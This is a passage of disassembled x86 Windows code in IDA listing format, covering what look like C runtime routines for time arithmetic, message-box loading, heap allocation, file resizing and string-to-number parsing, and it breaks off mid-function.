loc_41E653: ; CODE XREF: sub_41E56C+BAj
mov eax, [ebp+arg_1C]
mov dword_4387CC, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
imul eax, 3Ch
add eax, dword_438728
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_4387D0, eax
jns short loc_41E68B
add eax, 5265C00h
dec ecx
mov dword_4387D0, eax
jmp short loc_41E69C
; ---------------------------------------------------------------------------
loc_41E68B: ; CODE XREF: sub_41E56C+110j
mov edx, 5265C00h
cmp eax, edx
jl short loc_41E6A2
sub eax, edx
inc ecx
mov dword_4387D0, eax
loc_41E69C: ; CODE XREF: sub_41E56C+11Dj
mov dword_4387CC, ecx
loc_41E6A2: ; CODE XREF: sub_41E56C+126j
mov dword_4387C8, ebx
loc_41E6A8: ; CODE XREF: sub_41E56C+E5j
pop esi
pop ebx
pop ebp
retn
sub_41E56C endp
; =============== S U B R O U T I N E =======================================
sub_41E6AC proc near ; CODE XREF: sub_41C7C2+2Bp
arg_0 = dword ptr 4
push 4
push 0
push [esp+8+arg_0]
call sub_41E6BD
add esp, 0Ch
retn
sub_41E6AC endp
; =============== S U B R O U T I N E =======================================
sub_41E6BD proc near ; CODE XREF: sub_41E6AC+8p
arg_0 = byte ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
movzx eax, [esp+arg_0]
mov cl, [esp+arg_8]
test byte_46A9E1[eax], cl
jnz short loc_41E6EA
cmp [esp+arg_4], 0
jz short loc_41E6E3
movzx eax, word_437D7A[eax*2]
and eax, [esp+arg_4]
jmp short loc_41E6E5
; ---------------------------------------------------------------------------
loc_41E6E3: ; CODE XREF: sub_41E6BD+16j
xor eax, eax
loc_41E6E5: ; CODE XREF: sub_41E6BD+24j
test eax, eax
jnz short loc_41E6EA
retn
; ---------------------------------------------------------------------------
loc_41E6EA: ; CODE XREF: sub_41E6BD+Fj
; sub_41E6BD+2Aj
push 1
pop eax
retn
sub_41E6BD endp
; =============== S U B R O U T I N E =======================================
sub_41E6EE proc near ; CODE XREF: sub_41CF19+11Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
xor ebx, ebx
cmp dword_469754, ebx
push esi
push edi
jnz short loc_41E73D
push offset aUser32_dll ; "user32.dll"
call dword_4210C0 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_41E773
mov esi, dword_4210C4
push offset aMessageboxa ; "MessageBoxA"
push edi
call esi ; GetProcAddress
test eax, eax
mov dword_469754, eax
jz short loc_41E773
push offset aGetactivewindo ; "GetActiveWindow"
push edi
call esi ; GetProcAddress
push offset aGetlastactivep ; "GetLastActivePopup"
push edi
mov dword_469758, eax
call esi ; GetProcAddress
mov dword_46975C, eax
loc_41E73D: ; CODE XREF: sub_41E6EE+Bj
mov eax, dword_469758
test eax, eax
jz short loc_41E75C
call eax
mov ebx, eax
test ebx, ebx
jz short loc_41E75C
mov eax, dword_46975C
test eax, eax
jz short loc_41E75C
push ebx
call eax
mov ebx, eax
loc_41E75C: ; CODE XREF: sub_41E6EE+56j
; sub_41E6EE+5Ej ...
push [esp+0Ch+arg_8]
push [esp+10h+arg_4]
push [esp+14h+arg_0]
push ebx
call dword_469754
loc_41E76F: ; CODE XREF: sub_41E6EE+87j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41E773: ; CODE XREF: sub_41E6EE+1Cj
; sub_41E6EE+33j
xor eax, eax
jmp short loc_41E76F
sub_41E6EE endp
; =============== S U B R O U T I N E =======================================
sub_41E777 proc near ; CODE XREF: sub_41D0D6+22p
; sub_41D0D6+3Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
imul esi, [esp+0Ch+arg_4]
cmp esi, 0FFFFFFE0h
mov ebx, esi
ja short loc_41E797
test esi, esi
jnz short loc_41E791
push 1
pop esi
loc_41E791: ; CODE XREF: sub_41E777+15j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_41E797: ; CODE XREF: sub_41E777+11j
; sub_41E777+65j
xor edi, edi
cmp esi, 0FFFFFFE0h
ja short loc_41E7C8
cmp ebx, dword_437F8C
ja short loc_41E7B3
push ebx
call sub_418E53
mov edi, eax
pop ecx
test edi, edi
jnz short loc_41E7DE
loc_41E7B3: ; CODE XREF: sub_41E777+2Dj
push esi
push 8
push dword_46AB00
call dword_42114C ; RtlAllocateHeap
mov edi, eax
test edi, edi
jnz short loc_41E7EA
loc_41E7C8: ; CODE XREF: sub_41E777+25j
cmp dword_4694F4, 0
jz short loc_41E7EA
push esi
call sub_418A68
test eax, eax
pop ecx
jz short loc_41E7F0
jmp short loc_41E797
; ---------------------------------------------------------------------------
loc_41E7DE: ; CODE XREF: sub_41E777+3Aj
push ebx
push 0
push edi
call sub_415570
add esp, 0Ch
loc_41E7EA: ; CODE XREF: sub_41E777+4Fj
; sub_41E777+58j
mov eax, edi
loc_41E7EC: ; CODE XREF: sub_41E777+7Bj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41E7F0: ; CODE XREF: sub_41E777+63j
xor eax, eax
jmp short loc_41E7EC
sub_41E777 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41D17B
loc_41E7F4: ; CODE XREF: sub_41D17B+Ej
push esi
push edi
push 3
xor edi, edi
pop esi
cmp dword_46A7A0, esi
jle short loc_41E847
loc_41E803: ; CODE XREF: sub_41D17B+16CAj
mov eax, dword_469780
mov eax, [eax+esi*4]
test eax, eax
jz short loc_41E83E
test byte ptr [eax+0Ch], 83h
jz short loc_41E822
push eax
call sub_415B40
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41E822
inc edi
loc_41E822: ; CODE XREF: sub_41D17B+1698j
; sub_41D17B+16A4j
cmp esi, 14h
jl short loc_41E83E
mov eax, dword_469780
push dword ptr [eax+esi*4]
call sub_415E3D
mov eax, dword_469780
pop ecx
and dword ptr [eax+esi*4], 0
loc_41E83E: ; CODE XREF: sub_41D17B+1692j
; sub_41D17B+16AAj
inc esi
cmp esi, dword_46A7A0
jl short loc_41E803
loc_41E847: ; CODE XREF: sub_41D17B+1686j
mov eax, edi
pop edi
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_41D17B
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E84C proc near ; CODE XREF: sub_41D55A+271p
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1000h
call sub_415D70
push ebx
mov ebx, [ebp+arg_0]
push esi
xor esi, esi
cmp ebx, dword_46A8C0
jnb loc_41E981
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_46A7C0[eax*4]
test byte ptr [eax+ecx*8+4], 1
jz loc_41E981
push 1
push esi
push ebx
call sub_41BB7F
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_41E98B
push 2
push esi
push ebx
call sub_41BB7F
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_41E98B
push edi
mov edi, [ebp+arg_4]
sub edi, eax
test edi, edi
jle short loc_41E92E
push 1000h
lea eax, [ebp+var_1000]
push esi
push eax
call sub_415570
push 8000h
push ebx
call sub_41F486
add esp, 14h
mov [ebp+arg_4], eax
loc_41E8E2: ; CODE XREF: sub_41E84C+BDj
mov eax, 1000h
cmp edi, eax
jge short loc_41E8ED
mov eax, edi
loc_41E8ED: ; CODE XREF: sub_41E84C+9Dj
push eax
lea eax, [ebp+var_1000]
push eax
push ebx
call sub_41C42A
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_41E90B
sub edi, eax
test edi, edi
jle short loc_41E921
jmp short loc_41E8E2
; ---------------------------------------------------------------------------
loc_41E90B: ; CODE XREF: sub_41E84C+B5j
cmp dword_469498, 5
jnz short loc_41E91E
mov dword_469494, 0Dh
loc_41E91E: ; CODE XREF: sub_41E84C+C6j
or esi, 0FFFFFFFFh
loc_41E921: ; CODE XREF: sub_41E84C+BBj
push [ebp+arg_4]
push ebx
call sub_41F486
pop ecx
pop ecx
jmp short loc_41E96E
; ---------------------------------------------------------------------------
loc_41E92E: ; CODE XREF: sub_41E84C+71j
jge short loc_41E96E
push 0
push [ebp+arg_4]
push ebx
call sub_41BB7F
push ebx
call sub_41D4C6
add esp, 10h
push eax
call dword_421010 ; SetEndOfFile
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, 0FFFFFFFFh
jnz short loc_41E96E
mov dword_469494, 0Dh
call dword_421088 ; RtlGetLastWin32Error
mov dword_469498, eax
loc_41E96E: ; CODE XREF: sub_41E84C+E0j
; sub_41E84C:loc_41E92Ej ...
push 0
push [ebp+arg_0]
push ebx
call sub_41BB7F
add esp, 0Ch
mov eax, esi
pop edi
jmp short loc_41E98E
; ---------------------------------------------------------------------------
loc_41E981: ; CODE XREF: sub_41E84C+1Aj
; sub_41E84C+36j
mov dword_469494, 9
loc_41E98B: ; CODE XREF: sub_41E84C+4Ej
; sub_41E84C+63j
or eax, 0FFFFFFFFh
loc_41E98E: ; CODE XREF: sub_41E84C+133j
pop esi
pop ebx
leave
retn
sub_41E84C endp
; =============== S U B R O U T I N E =======================================
sub_41E992 proc near ; CODE XREF: sub_41D9C5+2Bp
; sub_41D9C5+42p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
lea ecx, [edx+esi]
cmp ecx, edx
jb short loc_41E9A8
cmp ecx, esi
jnb short loc_41E9AB
loc_41E9A8: ; CODE XREF: sub_41E992+10j
push 1
pop eax
loc_41E9AB: ; CODE XREF: sub_41E992+14j
mov edx, [esp+4+arg_8]
pop esi
mov [edx], ecx
retn
sub_41E992 endp
; =============== S U B R O U T I N E =======================================
sub_41E9B3 proc near ; CODE XREF: sub_41EA6C+40p
; sub_41EA6C+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
push esi
push dword ptr [edi]
push dword ptr [esi]
call sub_41E992
add esp, 0Ch
test eax, eax
jz short loc_41E9E5
lea eax, [esi+4]
push eax
push 1
push dword ptr [eax]
call sub_41E992
add esp, 0Ch
test eax, eax
jz short loc_41E9E5
inc dword ptr [esi+8]
loc_41E9E5: ; CODE XREF: sub_41E9B3+19j
; sub_41E9B3+2Dj
lea eax, [esi+4]
push eax
push dword ptr [edi+4]
push dword ptr [eax]
call sub_41E992
add esp, 0Ch
test eax, eax
jz short loc_41E9FD
inc dword ptr [esi+8]
loc_41E9FD: ; CODE XREF: sub_41E9B3+45j
lea eax, [esi+8]
push eax
push dword ptr [edi+8]
push dword ptr [eax]
call sub_41E992
add esp, 0Ch
pop edi
pop esi
retn
sub_41E9B3 endp
; =============== S U B R O U T I N E =======================================
sub_41EA11 proc near ; CODE XREF: sub_41EA6C+30p
; sub_41EA6C+36p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov esi, [eax]
mov edi, [eax+4]
mov ecx, esi
add esi, esi
mov [eax], esi
lea esi, [edi+edi]
shr ecx, 1Fh
or esi, ecx
mov ecx, [eax+8]
mov edx, edi
mov [eax+4], esi
shr edx, 1Fh
shl ecx, 1
or ecx, edx
pop edi
mov [eax+8], ecx
pop esi
retn
sub_41EA11 endp
; =============== S U B R O U T I N E =======================================
sub_41EA3F proc near ; CODE XREF: sub_41F004+1C8p
; sub_41F4FC+17Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov edx, [eax+8]
mov ecx, [eax+4]
mov esi, edx
mov edi, ecx
shl esi, 1Fh
shr ecx, 1
or ecx, esi
mov [eax+4], ecx
mov ecx, [eax]
shl edi, 1Fh
shr ecx, 1
shr edx, 1
or ecx, edi
pop edi
mov [eax+8], edx
mov [eax], ecx
pop esi
retn
sub_41EA3F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EA6C proc near ; CODE XREF: sub_41EB33+3CAp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_8]
xor edx, edx
cmp eax, edx
push esi
mov [ebp+var_4], 404Eh
mov [ebx], edx
mov [ebx+4], edx
mov [ebx+8], edx
jbe short loc_41EAE0
push edi
mov [ebp+arg_8], eax
loc_41EA93: ; CODE XREF: sub_41EA6C+6Fj
mov esi, ebx
lea edi, [ebp+var_10]
movsd
movsd
push ebx
movsd
call sub_41EA11
push ebx
call sub_41EA11
lea eax, [ebp+var_10]
push eax
push ebx
call sub_41E9B3
push ebx
call sub_41EA11
mov eax, [ebp+arg_0]
and [ebp+var_C], 0
and [ebp+var_8], 0
movsx eax, byte ptr [eax]
mov [ebp+var_10], eax
lea eax, [ebp+var_10]
push eax
push ebx
call sub_41E9B3
add esp, 1Ch
inc [ebp+arg_0]
dec [ebp+arg_8]
jnz short loc_41EA93
xor edx, edx
pop edi
loc_41EAE0: ; CODE XREF: sub_41EA6C+21j
; sub_41EA6C+9Fj
cmp [ebx+8], edx
jnz short loc_41EB0D
mov ecx, [ebx+4]
mov eax, ecx
shr eax, 10h
mov [ebx+8], eax
mov eax, [ebx]
mov esi, eax
shr esi, 10h
shl ecx, 10h
or esi, ecx
shl eax, 10h
add [ebp+var_4], 0FFF0h
mov [ebx+4], esi
mov [ebx], eax
jmp short loc_41EAE0
; ---------------------------------------------------------------------------
loc_41EB0D: ; CODE XREF: sub_41EA6C+77j
mov esi, 8000h
loc_41EB12: ; CODE XREF: sub_41EA6C+B9j
test [ebx+8], esi
jnz short loc_41EB27
push ebx
call sub_41EA11
add [ebp+var_4], 0FFFFh
pop ecx
jmp short loc_41EB12
; ---------------------------------------------------------------------------
loc_41EB27: ; CODE XREF: sub_41EA6C+A9j
mov ax, word ptr [ebp+var_4]
pop esi
mov [ebx+0Ah], ax
pop ebx
leave
retn
sub_41EA6C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EB33 proc near ; CODE XREF: sub_41DD0E+17p
; sub_41DD3B+17p
var_5C = byte ptr -5Ch
var_45 = byte ptr -45h
var_40 = dword ptr -40h
var_3A = dword ptr -3Ah
var_36 = dword ptr -36h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 5Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea eax, [ebp+var_5C]
push 1
mov [ebp+var_C], eax
xor eax, eax
pop edx
mov [ebp+var_28], eax
mov [ebp+var_18], edx
mov [ebp+var_4], eax
mov [ebp+var_10], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_2C], eax
mov [ebp+var_30], eax
mov [ebp+var_1C], eax
mov [ebp+var_8], eax
mov [ebp+var_14], eax
mov [ebp+arg_8], edi
loc_41EB6E: ; CODE XREF: sub_41EB33+52j
mov cl, [edi]
cmp cl, 20h
jz short loc_41EB84
cmp cl, 9
jz short loc_41EB84
cmp cl, 0Ah
jz short loc_41EB84
cmp cl, 0Dh
jnz short loc_41EB87
loc_41EB84: ; CODE XREF: sub_41EB33+40j
; sub_41EB33+45j ...
inc edi
jmp short loc_41EB6E
; ---------------------------------------------------------------------------
loc_41EB87: ; CODE XREF: sub_41EB33+4Fj
push 4
pop esi
loc_41EB8A: ; CODE XREF: sub_41EB33+AEj
; sub_41EB33+B7j ...
mov bl, [edi]
inc edi
cmp eax, 0Bh ; switch 12 cases
ja loc_41EE0D ; default
; jumptable 0041EB96 case 10
jmp off_41EFD4[eax*4] ; switch jump
loc_41EB9D: ; DATA XREF: .nsp0:off_41EFD4o
cmp bl, 31h ; jumptable 0041EB96 case 0
jl short loc_41EBAE
cmp bl, 39h
jg short loc_41EBAE
loc_41EBA7: ; CODE XREF: sub_41EB33+C4j
; sub_41EB33+118j
push 3
jmp loc_41EDCB
; ---------------------------------------------------------------------------
loc_41EBAE: ; CODE XREF: sub_41EB33+6Dj
; sub_41EB33+72j
cmp bl, byte_437F80
jnz short loc_41EBBD
loc_41EBB6: ; CODE XREF: sub_41EB33+124j
push 5
jmp loc_41EE03
; ---------------------------------------------------------------------------
loc_41EBBD: ; CODE XREF: sub_41EB33+81j
movsx eax, bl
sub eax, 2Bh
jz short loc_41EBE3
dec eax
dec eax
jz short loc_41EBD7
sub eax, 3
jnz loc_41EEA6
jmp loc_41EC66
; ---------------------------------------------------------------------------
loc_41EBD7: ; CODE XREF: sub_41EB33+94j
push 2
mov [ebp+var_28], 8000h
pop eax
jmp short loc_41EB8A
; ---------------------------------------------------------------------------
loc_41EBE3: ; CODE XREF: sub_41EB33+90j
and [ebp+var_28], 0
push 2
pop eax
jmp short loc_41EB8A
; ---------------------------------------------------------------------------
loc_41EBEC: ; CODE XREF: sub_41EB33+63j
; DATA XREF: .nsp0:off_41EFD4o
cmp bl, 31h ; jumptable 0041EB96 case 1
mov [ebp+var_10], edx
jl short loc_41EBF9
cmp bl, 39h
jle short loc_41EBA7
loc_41EBF9: ; CODE XREF: sub_41EB33+BFj
cmp bl, byte_437F80
jz loc_41ECC1
cmp bl, 2Bh
jz short loc_41EC3B
cmp bl, 2Dh
jz short loc_41EC3B
cmp bl, 30h
jz short loc_41EC66
loc_41EC14: ; CODE XREF: sub_41EB33+207j
cmp bl, 43h
jle loc_41EEA6
cmp bl, 45h
jle short loc_41EC34
cmp bl, 63h
jle loc_41EEA6
cmp bl, 65h
jg loc_41EEA6
loc_41EC34: ; CODE XREF: sub_41EB33+EDj
push 6
jmp loc_41EE03
; ---------------------------------------------------------------------------
loc_41EC3B: ; CODE XREF: sub_41EB33+D5j
; sub_41EB33+DAj ...
dec edi
push 0Bh
jmp loc_41EE03
; ---------------------------------------------------------------------------
loc_41EC43: ; CODE XREF: sub_41EB33+63j
; DATA XREF: .nsp0:off_41EFD4o
cmp bl, 31h ; jumptable 0041EB96 case 2
jl short loc_41EC51
cmp bl, 39h
jle loc_41EBA7
loc_41EC51: ; CODE XREF: sub_41EB33+113j
cmp bl, byte_437F80
jz loc_41EBB6
cmp bl, 30h
jnz loc_41EE1B
loc_41EC66: ; CODE XREF: sub_41EB33+9Fj
; sub_41EB33+DFj
mov eax, edx
jmp loc_41EB8A
; ---------------------------------------------------------------------------
loc_41EC6D: ; CODE XREF: sub_41EB33+63j
; DATA XREF: .nsp0:off_41EFD4o
mov [ebp+var_10], edx ; jumptable 0041EB96 case 3
loc_41EC70: ; CODE XREF: sub_41EB33+184j
cmp dword_437F7C, edx
jle short loc_41EC89
movzx eax, bl
push esi
push eax
call sub_418556
pop ecx
pop ecx
push 1
pop edx
jmp short loc_41EC97
; ---------------------------------------------------------------------------
loc_41EC89: ; CODE XREF: sub_41EB33+143j
mov ecx, off_437D70
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_41EC97: ; CODE XREF: sub_41EB33+154j
test eax, eax
jz short loc_41ECB9
cmp [ebp+var_4], 19h
jnb short loc_41ECB1
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
mov [eax], bl
jmp short loc_41ECB4
; ---------------------------------------------------------------------------
loc_41ECB1: ; CODE XREF: sub_41EB33+16Cj
inc [ebp+var_8]
loc_41ECB4: ; CODE XREF: sub_41EB33+17Cj
mov bl, [edi]
inc edi
jmp short loc_41EC70
; ---------------------------------------------------------------------------
loc_41ECB9: ; CODE XREF: sub_41EB33+166j
cmp bl, byte_437F80
jnz short loc_41ED28
loc_41ECC1: ; CODE XREF: sub_41EB33+CCj
mov eax, esi
jmp loc_41EB8A
; ---------------------------------------------------------------------------
loc_41ECC8: ; CODE XREF: sub_41EB33+63j
; DATA XREF: .nsp0:off_41EFD4o
cmp [ebp+var_4], 0 ; jumptable 0041EB96 case 4
mov [ebp+var_10], edx
mov [ebp+var_24], edx
jnz short loc_41ECE1
loc_41ECD4: ; CODE XREF: sub_41EB33+1ACj
cmp bl, 30h
jnz short loc_41ECE1
dec [ebp+var_8]
mov bl, [edi]
inc edi
jmp short loc_41ECD4
; ---------------------------------------------------------------------------
loc_41ECE1: ; CODE XREF: sub_41EB33+19Fj
; sub_41EB33+1A4j ...
cmp dword_437F7C, edx
jle short loc_41ECFA
movzx eax, bl
push esi
push eax
call sub_418556
pop ecx
pop ecx
push 1
pop edx
jmp short loc_41ED08
; ---------------------------------------------------------------------------
loc_41ECFA: ; CODE XREF: sub_41EB33+1B4j
mov ecx, off_437D70
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_41ED08: ; CODE XREF: sub_41EB33+1C5j
test eax, eax
jz short loc_41ED28
cmp [ebp+var_4], 19h
jnb short loc_41ED23
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
dec [ebp+var_8]
mov [eax], bl
loc_41ED23: ; CODE XREF: sub_41EB33+1DDj
mov bl, [edi]
inc edi
jmp short loc_41ECE1
; ---------------------------------------------------------------------------
loc_41ED28: ; CODE XREF: sub_41EB33+18Cj
; sub_41EB33+1D7j
cmp bl, 2Bh
jz loc_41EC3B
cmp bl, 2Dh
jz loc_41EC3B
jmp loc_41EC14
; ---------------------------------------------------------------------------
loc_41ED3F: ; CODE XREF: sub_41EB33+63j
; DATA XREF: .nsp0:off_41EFD4o
cmp dword_437F7C, edx ; jumptable 0041EB96 case 5
mov [ebp+var_24], edx
jle short loc_41ED5B
movzx eax, bl
push esi
push eax
call sub_418556
pop ecx
pop ecx
push 1
pop edx
jmp short loc_41ED69
; ---------------------------------------------------------------------------
loc_41ED5B: ; CODE XREF: sub_41EB33+215j
mov ecx, off_437D70
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_41ED69: ; CODE XREF: sub_41EB33+226j
test eax, eax
jz loc_41EE1B
mov eax, esi
jmp short loc_41EDCC
; ---------------------------------------------------------------------------
loc_41ED75: ; CODE XREF: sub_41EB33+63j
; DATA XREF: .nsp0:off_41EFD4o
lea ecx, [edi-2] ; jumptable 0041EB96 case 6
cmp bl, 31h
mov [ebp+arg_8], ecx
jl short loc_41ED85
cmp bl, 39h
jle short loc_41EDC9
loc_41ED85: ; CODE XREF: sub_41EB33+24Bj
movsx eax, bl
sub eax, 2Bh
jz short loc_41EE01
dec eax
dec eax
jz short loc_41EDF5
sub eax, 3
jnz loc_41EEA9
loc_41ED9A: ; CODE XREF: sub_41EB33+2A4j
push 8
jmp short loc_41EE03
; ---------------------------------------------------------------------------
loc_41ED9E: ; CODE XREF: sub_41EB33+63j
; DATA XREF: .nsp0:off_41EFD4o
mov [ebp+var_20], edx ; jumptable 0041EB96 case 8
loc_41EDA1: ; CODE XREF: sub_41EB33+276j
cmp bl, 30h
jnz short loc_41EDAB
mov bl, [edi]
inc edi
jmp short loc_41EDA1
; ---------------------------------------------------------------------------
loc_41EDAB: ; CODE XREF: sub_41EB33+271j
cmp bl, 31h
jl loc_41EEA6
cmp bl, 39h
jg loc_41EEA6
jmp short loc_41EDC9
; ---------------------------------------------------------------------------
loc_41EDBF: ; CODE XREF: sub_41EB33+63j
; DATA XREF: .nsp0:off_41EFD4o
cmp bl, 31h ; jumptable 0041EB96 case 7
jl short loc_41EDD2
cmp bl, 39h
jg short loc_41EDD2
loc_41EDC9: ; CODE XREF: sub_41EB33+250j
; sub_41EB33+28Aj
push 9
loc_41EDCB: ; CODE XREF: sub_41EB33+76j
pop eax
loc_41EDCC: ; CODE XREF: sub_41EB33+240j
dec edi
jmp loc_41EB8A
; ---------------------------------------------------------------------------
loc_41EDD2: ; CODE XREF: sub_41EB33+28Fj
; sub_41EB33+294j
cmp bl, 30h
jnz short loc_41EE1B
jmp short loc_41ED9A
; ---------------------------------------------------------------------------
loc_41EDD9: ; CODE XREF: sub_41EB33+63j
; DATA XREF: .nsp0:off_41EFD4o
cmp [ebp+arg_18], 0 ; jumptable 0041EB96 case 11
jz short loc_41EE09
movsx eax, bl
lea ecx, [edi-1]
sub eax, 2Bh
mov [ebp+arg_8], ecx
jz short loc_41EE01
dec eax
dec eax
jnz loc_41EEA9
loc_41EDF5: ; CODE XREF: sub_41EB33+25Cj
or [ebp+var_18], 0FFFFFFFFh
push 7
pop eax
jmp loc_41EB8A
; ---------------------------------------------------------------------------
loc_41EE01: ; CODE XREF: sub_41EB33+258j
; sub_41EB33+2B8j
push 7
loc_41EE03: ; CODE XREF: sub_41EB33+85j
; sub_41EB33+103j ...
pop eax
jmp loc_41EB8A
; ---------------------------------------------------------------------------
loc_41EE09: ; CODE XREF: sub_41EB33+2AAj
push 0Ah
dec edi
pop eax
loc_41EE0D: ; CODE XREF: sub_41EB33+5Dj
; sub_41EB33+63j
; DATA XREF: ...
cmp eax, 0Ah ; default
; jumptable 0041EB96 case 10
jz loc_41EEAB
jmp loc_41EB8A
; ---------------------------------------------------------------------------
loc_41EE1B: ; CODE XREF: sub_41EB33+12Dj
; sub_41EB33+238j ...
mov edi, [ebp+arg_8]
jmp loc_41EEAB
; ---------------------------------------------------------------------------
loc_41EE23: ; CODE XREF: sub_41EB33+63j
; DATA XREF: .nsp0:off_41EFD4o
mov [ebp+var_20], 1 ; jumptable 0041EB96 case 9
xor esi, esi
loc_41EE2C: ; CODE XREF: sub_41EB33+339j
cmp dword_437F7C, 1
jle short loc_41EE44
movzx eax, bl
push 4
push eax
call sub_418556
pop ecx
pop ecx
jmp short loc_41EE53
; ---------------------------------------------------------------------------
loc_41EE44: ; CODE XREF: sub_41EB33+300j
mov ecx, off_437D70
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_41EE53: ; CODE XREF: sub_41EB33+30Fj
test eax, eax
jz short loc_41EE73
movsx ecx, bl
lea eax, [esi+esi*4]
lea esi, [ecx+eax*2-30h]
cmp esi, 1450h
jg short loc_41EE6E
mov bl, [edi]
inc edi
jmp short loc_41EE2C
; ---------------------------------------------------------------------------
loc_41EE6E: ; CODE XREF: sub_41EB33+334j
mov esi, 1451h
loc_41EE73: ; CODE XREF: sub_41EB33+322j
mov [ebp+var_1C], esi
loc_41EE76: ; CODE XREF: sub_41EB33+371j
cmp dword_437F7C, 1
jle short loc_41EE8E
movzx eax, bl
push 4
push eax
call sub_418556
pop ecx
pop ecx
jmp short loc_41EE9D
; ---------------------------------------------------------------------------
loc_41EE8E: ; CODE XREF: sub_41EB33+34Aj
mov ecx, off_437D70
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_41EE9D: ; CODE XREF: sub_41EB33+359j
test eax, eax
jz short loc_41EEA6
mov bl, [edi]
inc edi
jmp short loc_41EE76
; ---------------------------------------------------------------------------
loc_41EEA6: ; CODE XREF: sub_41EB33+99j
; sub_41EB33+E4j ...
dec edi
jmp short loc_41EEAB
; ---------------------------------------------------------------------------
loc_41EEA9: ; CODE XREF: sub_41EB33+261j
; sub_41EB33+2BCj
mov edi, ecx
loc_41EEAB: ; CODE XREF: sub_41EB33+2DDj
; sub_41EB33+2EBj ...
mov eax, [ebp+arg_4]
cmp [ebp+var_10], 0
mov [eax], edi
jz loc_41EF93
push 18h
pop eax
cmp [ebp+var_4], eax
jbe short loc_41EED7
cmp [ebp+var_45], 5
jl short loc_41EECB
inc [ebp+var_45]
loc_41EECB: ; CODE XREF: sub_41EB33+393j
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
dec eax
inc [ebp+var_8]
jmp short loc_41EEDA
; ---------------------------------------------------------------------------
loc_41EED7: ; CODE XREF: sub_41EB33+38Dj
mov eax, [ebp+var_C]
loc_41EEDA: ; CODE XREF: sub_41EB33+3A2j
cmp [ebp+var_4], 0
jbe loc_41EF89
loc_41EEE4: ; CODE XREF: sub_41EB33+3BDj
dec eax
cmp byte ptr [eax], 0
jnz short loc_41EEF2
dec [ebp+var_4]
inc [ebp+var_8]
jmp short loc_41EEE4
; ---------------------------------------------------------------------------
loc_41EEF2: ; CODE XREF: sub_41EB33+3B5j
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_5C]
push [ebp+var_4]
push eax
call sub_41EA6C
mov eax, [ebp+var_1C]
xor ecx, ecx
add esp, 0Ch
cmp [ebp+var_18], ecx
jge short loc_41EF11
neg eax
loc_41EF11: ; CODE XREF: sub_41EB33+3DAj
add eax, [ebp+var_8]
cmp [ebp+var_20], ecx
jnz short loc_41EF1C
add eax, [ebp+arg_10]
loc_41EF1C: ; CODE XREF: sub_41EB33+3E4j
cmp [ebp+var_24], ecx
jnz short loc_41EF24
sub eax, [ebp+arg_14]
loc_41EF24: ; CODE XREF: sub_41EB33+3ECj
cmp eax, 1450h
jle short loc_41EF5B
mov [ebp+var_2C], 1
loc_41EF32: ; CODE XREF: sub_41EB33+436j
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_8]
mov eax, [ebp+arg_8]
mov edx, [ebp+arg_8]
